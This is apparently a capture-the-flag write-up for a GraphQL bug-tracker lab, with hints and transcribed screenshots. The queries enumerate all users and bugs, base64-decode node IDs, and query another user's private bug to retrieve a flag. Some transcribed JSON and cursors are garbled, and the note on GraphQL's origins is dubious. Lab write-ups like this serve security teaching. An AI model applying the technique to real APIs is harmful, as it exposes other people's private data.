

Hints:

- ❖ What can you see? What can you not see?
- ❖ What data types are involved?

Flag 1:

- ❖ This problem is based on GraphQL programming language which was written in 2015 and based off Javascript, Ruby and Scala
- ❖ Printing all Users and Bugs displays all possible command

The screenshot shows the GraphQL Playground interface. On the left, a query is entered:

```
1 {
2   allUsers{
3     edges{
4       node{
5         bugs{
6           pageInfo{
7             startCursor
8             hasNextPage
9             hasPreviousPage
10            endCursor
11          }
12        }
13        id
14        username
15      }
16    }
17  }
18
19  allBugs{
20    edges{
21      node{
22        private
23        reporter{
24          username
25          id
26        }
27      }
28      reporterId
29      id
30    }
31  }
32 }
33
34 }
35 }
```

 The interface includes a 'Prettify' button and a 'History' tab. On the right, the JSON response is displayed:

```
{
  "startCursor": "YXJyYXljb25uZWN0aW9uOjA=",
  "hasNextPage": false,
  "hasPreviousPage": false,
  "endCursor": "YXJyYXljb25uZWN0aW9uOjA="
},
{
  "id": "VXNlcnM6MQ==",
  "username": "admin"
},
{
  "node": {
    "bugs": {
      "pageInfo": {
        "startCursor": "YXJyYXljb25uZWN0aW9uOjA=",
        "hasNextPage": false,
        "hasPreviousPage": false,
        "endCursor": "YXJyYXljb25uZWN0aW9uOjA="
      }
    },
    "id": "VXNlcnM6MQ==",
    "username": "victim"
  }
},
{
  "allBugs": {
    "edges": [
      {
        "node": {
          "private": false,
          "reporter": {
            "username": "admin",
            "id": "VXNlcnM6MQ=="
          },
          "reporterId": 1,
          "id": "QnVnczox"
        }
      },
      {
        "node": {
          "private": true,
          "reporter": {
            "username": "victim",
            "id": "VXNlcnM6MQ=="
          },
          "reporterId": 2,
          "id": "QnVnczoy"
        }
      }
    ]
  }
}
}
```


 At the bottom, a 'QUERY VARIABLES' section is visible.

- ❖ Decoded based on Base64 and we've got User1 and User2

Decode from Base64 format


Simply enter your data then push the decode button.



VXNlcnM6Mg==

 For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.

UTF-8  Source character set.

☐ Decode each line separately (useful for when you have multiple entries).

 Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).

 **DECODE**  Decodes your data into the area below.

Users:2

Decode files from Base64 format

Select a file to upload and process, then you can download the decoded result.

❖ First admin then victim



```
1 {
2   allUsers {
3     edges {
4       node {
5         bugs {
6           pageInfo {
7             startCursor
8             hasNextPage
9             hasPreviousPage
10            endCursor
11          }
12          id
13          username
14        }
15      }
16    }
17  }
18  allBugs {
19    edges {
20      node {
21        private
22        reporter {
23          username
24          id
25        }
26        reporterId
27        id
28      }
29    }
30  }
31  findUser(username: "admin") {
32    username
33    bugs {
34      edges {
35        cursor
36        node {
37          text
38          private
39          reporter {
40            username
41          }
42          reporterId
43        }
44      }
45    }
46  }
47 }
48
```

QUERY VARIABLES

```
    }
  },
  "id": "VXNlcnM6Mg==",
  "username": "victim"
}
}
],
"allBugs": {
  "edges": [
    {
      "node": {
        "private": false,
        "reporter": {
          "username": "admin",
          "id": "VXNlcnM6Mg=="
        },
        "reporterId": 1,
        "id": "QnVnczox"
      }
    },
    {
      "node": {
        "private": true,
        "reporter": {
          "username": "victim",
          "id": "VXNlcnM6Mg=="
        },
        "reporterId": 2,
        "id": "QnVnczoy"
      }
    }
  ]
},
"findUser": {
  "username": "admin",
  "bugs": {
    "edges": [
      {
        "cursor": "YXJyYX1jb25uZWNoaW9uOjA=",
        "node": {
          "text": "This is an example bug",
          "private": false,
          "reporter": {
            "username": "admin"
          },
          "reporterId": 1
        }
      }
    ]
  }
}
}
}
}
}
}
```

The screenshot shows the GraphQL Playground interface with two queries side-by-side.

Left Query:

```
{
  allUsers {
    edges {
      node {
        pageInfo {
          startCursor
          hasNextPage
          hasPreviousPage
          endCursor
        }
        id
        username
      }
    }
  }
  allBugs {
    edges {
      node {
        private
        reporter {
          username
          id
        }
        reporterId
        id
      }
    }
  }
}

findUser(username: "victim") {
  username
  bugs {
    edges {
      cursor
      node {
        text
        private
        reporter {
          username
        }
        reporterId
      }
    }
  }
}
```

A red arrow points to the string "victim" in the findUser query.

Right Query:

```
{
  },
  "id": "VXNlcnM6MQ==",
  "username": "victim"
}
]
},
allBugs: {
  edges: [
    {
      "node": {
        "private": false,
        "reporter": {
          "username": "admin",
          "id": "VXNlcnM6MQ=="
        },
        "reporterId": 1,
        "id": "QnVnczoX"
      }
    },
    {
      "node": {
        "private": true,
        "reporter": {
          "username": "victim",
          "id": "VXNlcnM6MQ=="
        },
        "reporterId": 2,
        "id": "QnVnczoy"
      }
    }
  ]
},
findUser: {
  "username": "victim",
  "bugs": {
    "edges": [
      {
        "cursor": "YXJyYXIjb2ZuZW0wM9uOjA=",
        "node": {
          "text":
            "AFLAG_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX$",
          "private": true,
          "reporter": {
            "username": "victim"
          },
          "reporterId": 2
        }
      }
    ]
  }
}
```

A red arrow points to the closing double quote of the cursor string in the findUser query. A horizontal red line highlights the entire findUser object, indicating a syntax error.